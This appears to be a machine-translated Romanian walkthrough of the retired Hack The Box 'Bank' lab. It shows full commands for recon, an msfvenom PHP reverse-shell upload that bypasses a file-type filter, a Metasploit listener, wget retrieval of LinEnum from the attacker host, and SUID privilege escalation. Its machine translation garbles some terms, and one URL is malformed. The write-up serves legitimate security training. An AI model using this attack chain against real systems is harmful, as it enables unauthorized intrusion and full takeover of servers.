Hack The Box (HTB) este o platformă online care vă permite să vă testați abilitățile de testare a penetrării. Conține mai multe provocări care sunt actualizate constant. Unele dintre ele simulează scenarii din lumea reală, iar altele înclină mai mult spre un stil de provocare CTF.
Notă. Sunt permise doar înregistrările de echipamente HTB retrase.

Banca este o mașină relativ simplă, cu toate acestea, enumerarea corectă a web este cheia pentru a găsi datele necesare pentru intrare
Vom folosi următoarele instrumente pentru a amâna cutia pe un Kali Linux cutie:
- nmap
- gobuster
- Searchsploit
- msfconsole
- metasploit
- contor
- LinEnum
Să începem.
Table of Contents
Pasul 1 – Recunoaștere
Primul pas înainte de a exploata o mașină este să faceți un pic de scanare și recunoaștere.
Aceasta este una dintre cele mai importante părți, deoarece va determina ce puteți încerca să exploatați după aceea. Este întotdeauna mai bine să petreceți mai mult timp în această fază pentru a obține cât mai multe informații.
Scanare port
Voi folosi Nmap (Network Mapper). Nmap este un utilitar open source gratuit pentru descoperirea rețelei și audit de securitate. Folosește pachete IP brute pentru a determina ce gazde sunt disponibile în rețea, ce servicii oferă aceste gazde, ce sisteme de operare rulează, ce tip de filtre de pachete / firewall sunt utilizate și alte zeci de caracteristici.
Există multe comenzi pe care le puteți utiliza cu acest instrument pentru a scana rețeaua. Dacă doriți să aflați mai multe despre aceasta, puteți arunca o privire la documentație aici.

Folosesc următoarea comandă pentru a efectua o scanare intensivă:
nmap -A -v bank.htb
-A: Activați detectarea sistemului de operare, detectarea versiunilor, scanarea scriptului și urmărirea traseului
-v: Creșteți nivelul de verbozitate
bank.htb: numele gazdei pentru caseta Bank
Dacă găsiți rezultatele puțin prea copleșitoare, puteți face o altă comandă pentru a obține doar porturile deschise.
nmap bank.htb

Putem vedea că există 3 porturi deschise:
Portul 22, Secure Shell (SSH), conectări sigure, transferuri de fișiere (scp, sftp) și redirecționare de porturi
Portul 53, Sistem de nume de domeniu (DNS)
Port 80, cel mai des folosit de Hypertext Transfer Protocol (HTTP)
Scanare directoare
Eu folosesc Gobuster. Gobuster este un scaner de directoare scris în Go. Mai multe informații despre instrument aici. Gobuster folosește liste de cuvinte pe Kali care se află în / usr / share / liste de cuvinte director. Folosesc liste de cuvinte de la dirb și dirbuster, dar puteți descărca mai multe liste de cuvinte din SecLists aici
Folosesc această comandă pentru lista de cuvinte dirb common.txt
gobuster dir -u bank.htb -w /usr/share/wordlists/dirb/common.txt

Văd câteva foldere interesante. Fac o altă scanare a directorului cu o listă de cuvinte diferită.
gobuster dir -u bank.htb -w /usr/share/worldlists/dirbuster/directory-list-lowercase-2.3-medium.txt

Pasul 2 – Vizitarea paginii web
Din faza de recunoaștere, decid să încep cu portul 80. Indică o pagină Apache2 Ubuntu Default. Trebuie să setăm numele gazdei. Vom respecta convenția standard pentru mașinile HTB, bank.htb

Am adăugat bancă în fișierul / etc / hosts
nano /etc/hosts
cu
10.10.10.29 bank.htb

Verific fișierul cu
cat /etc/hosts

Când navighez la bank.htb, pot vedea acum o pagină de autentificare

Din recunoștința gobusteră, am găsit câteva dosare. Navig spre / transfer de sold

Arunc o privire la câteva fișiere. Toate fișierele par să aibă numele complet, adresa de e-mail și parola criptate.

Mă întorc la pagina principală și fac clic pe mărimea fila pentru a sorta transferurile. Văd că unul dintre fișiere este diferit

Când dau clic pe fișier, văd un mesaj de eroare în partea de sus. Criptarea nu a reușit pentru acest fișier. Pot vedea toate detaliile în text simplu

Mă întorc la panoul de autentificare și introduc acreditările. Acum am acces la tabloul de bord al HTB Bank. Nimic interesant pe această pagină, așa că trec la A sustine pagină

Pe pagina de asistență, pot încărca fișiere. Voi încerca să încărc o sarcină utilă

Pasul 3 – Folosind MSFvenom pentru a crea un exploit
Vom folosi MSFvenom, care este un generator de sarcină utilă. Puteți afla mai multe despre asta aici

Dar mai întâi, să vedem mai departe Cadrul Metasploit ce sarcină utilă am putea folosi pentru a ne crea exploatarea
Știm că trebuie să creăm un carapace inversă, care este un tip de coajă în care mașina țintă comunică înapoi mașinii atacante. Mașina de atac are un port de ascultare pe care primește conexiunea, care prin utilizarea, codul sau executarea comenzii este realizată.

Shell-ul TCP invers ar trebui să fie pentru PHP și îl vom folosi Meterpreter
De pe site-ul Web Offensive Security, obținem această definiție pentru Meterpreter
Meterpreter este o sarcină utilă avansată, extensibilă dinamic, care folosește in memoria Injecția DLL eșalonează și este extinsă pe rețea în timpul rulării. Comunică prin socket-ul stager și oferă un API Ruby complet client. Conține istoricul comenzilor, completarea filelor, canale și multe altele.
Puteți citi mai multe despre Meterpreter aici

Lansez Metasploit și căutați sarcini utile TCP invers. Folosesc următoarea comandă
search php meterpreter reverse_tcp
Găsesc o sarcină utilă interesantă, numărul 594, care este un Reverse TCP Stager. Această sarcină utilă injectează DLL-ul serverului meterpreter prin intermediul sarcinii utile Reflective Dll Injection și se conectează înapoi la atacator
payload/php/meterpreter/reverse_tcp
Acum să ne întoarcem la msfvenom să creăm exploatarea noastră

Folosesc următoarea comandă
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.36 lport=443 -f raw > HTBbankshell.php
Apoi verific cu eu sunt dacă fișierul a fost creat

și am pisica fișierul pentru a vedea exploatarea cu
cat HTBbankshell.php

Revin la pagina de asistență. Adăug titlul, mesajul și încarc fișierul pe formular

Fac clic pe butonul de trimitere și văd un mesaj de eroare. Tipul de fișier nu pare să funcționeze

Verific codul sursă și văd un comentariu care indică faptul că extensia de fișier .htb este necesar pentru a executa PHP doar în scopuri de depanare

Apoi schimb extensia sarcinii mele utile din HTBbankshell.php la HTBbankshell.htb

Fișierul meu este acum gata pentru a fi încărcat pe pagina de asistență

Și se pare că funcționează! Sarcina utilă a fost încărcată pe pagina de asistență

Pasul 4 – Configurarea unui ascultător cu Metasploit
Înapoi pe Metasploit unde folosesc următoarea comandă pentru a seta gestionarul sarcinii utile
use exploit/multi/handler
Am configurat mai întâi sarcina utilă
set payload php/meterpreter/reverse_tcp
Apoi LHOST
set lhost 10.10.14.36
Și în cele din urmă LPORT
set lport 4444
Dacă verificăm opțiunile acum, ar trebui să vedem că totul este configurat

Să rulăm exploit-ul.
După ce apare acest mesaj
Started reverse TCP handler on 10.10.14.36:4444
reveniți la browser și actualizați pagina în care este găzduit scriptul rău intenționat
bank.htb/uploads/HTBbankshell.php

Apoi ar trebui să vedeți o sesiune Meterpreter creată

Încep prin a aduna câteva informații cu getuid care returnează ID-ul de utilizator real al procesului de apelare și sysinfo

Pasul 5 – Căutarea steagului user.txt
Încep să navighez spre rădăcină și listez folderele / fișierele.

Mă mut la Acasă director cu
cd home
Și pot vedea un utilizator numit chris

Mă mut la chris director și când listez fișierele …

Găsesc user.txt fişier! Pentru a citi conținutul fișierului, folosesc comanda
cat user.txt
Acum că avem steagul utilizatorului, să găsim steagul rădăcină!
Pasul 6 – Efectuarea escaladării privilegiilor
Încerc să navighez către folderul rădăcină și accesul este refuzat

voi folosi LinEnum pentru a enumera mai multe informații de pe această mașină. LinEnum este utilizat pentru enumerarea Linux scriptată locală și verificarea escaladării de privilegii. Mai multe informatii aici
Aduc LinEnum de la GitHub cu
wget https://https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

Verific cu această comandă dacă scriptul a fost preluat corect
ls -la

Folosesc următoarea comandă
chmod 777 LinEnum.sh
pentru a schimba permisiunea fișierului și a-l face ușor de citit, de scris și executabil de toată lumea

În cadrul meterpreter verific locația fișierului cu
lls -S "LinEnum.sh"

Pornesc un server php pe un alt terminal cu
php -S 10.10.14.36:4444

Tastez următoarea comandă pentru a obține un shell standard pe sistemul țintă
shell
Am creat o coajă TTY cu
python3 -c 'import pty;pty.spawn("/bin/bash/")'
Și transfer fișierul pe mașină cu
wget http://10.10.14.36:4444/LinEnum.sh -O /tmp/LinEnum.sh
unde copiez fișierul din caseta Kali în folderul temp al mașinii

Navig apoi la folderul temp pentru a verifica dacă fișierul a fost mutat corect

Apoi rulez scriptul cu
sh ./LinEnum.sh

Scanarea îmi oferă multe informații. Caut fișiere interesante secțiune. Verific Fișiere SUID secțiune. SUID este definit ca acordarea de permisiuni temporare unui utilizator pentru a rula un program / fișier cu permisiunile proprietarului fișierului, mai degrabă decât utilizatorul care îl rulează
Văd un fișier interesant
/var/htb/bin/emergency

Navig spre var / htb / de urgență

Îl rulez cu
./emergency
și sunt întrebat dacă vreau să obțin un shell root 🙂

Am acces root la mașină

Acum pot naviga la rădăcină pliant

Găsesc root.txt fişier!
Pentru a citi conținutul fișierului, folosesc comanda
cat root.txt
Felicitări! Ai găsit ambele steaguri!
Vă rugăm să nu ezitați să comentați, să puneți întrebări sau să partajați cu prietenii dvs. 🙂
Puteți vedea mai multe articole aici
Poți să mă urmărești mai departe Stare de nervozitate sau pe LinkedIn
Și nu uitați săGetSecure, #Fii sigur & #StaySecure!
Alte articole Hack The Box
- Păstrați-vă calmul și hack the Box – Lame
- Păstrează-ți calmul și piratează cutia – moștenire
- Keep Calm and Hack The Box – Devel
- Keep Calm and Hack The Box – Beep
- Păstrați-vă calmul și hack the box – optim
- Keep Calm and Hack The Box – Arctic
- Păstrează-ți calmul și piratează cutia – bunicul
- Păstrează-ți calmul și piratează cutia – Bunicuță
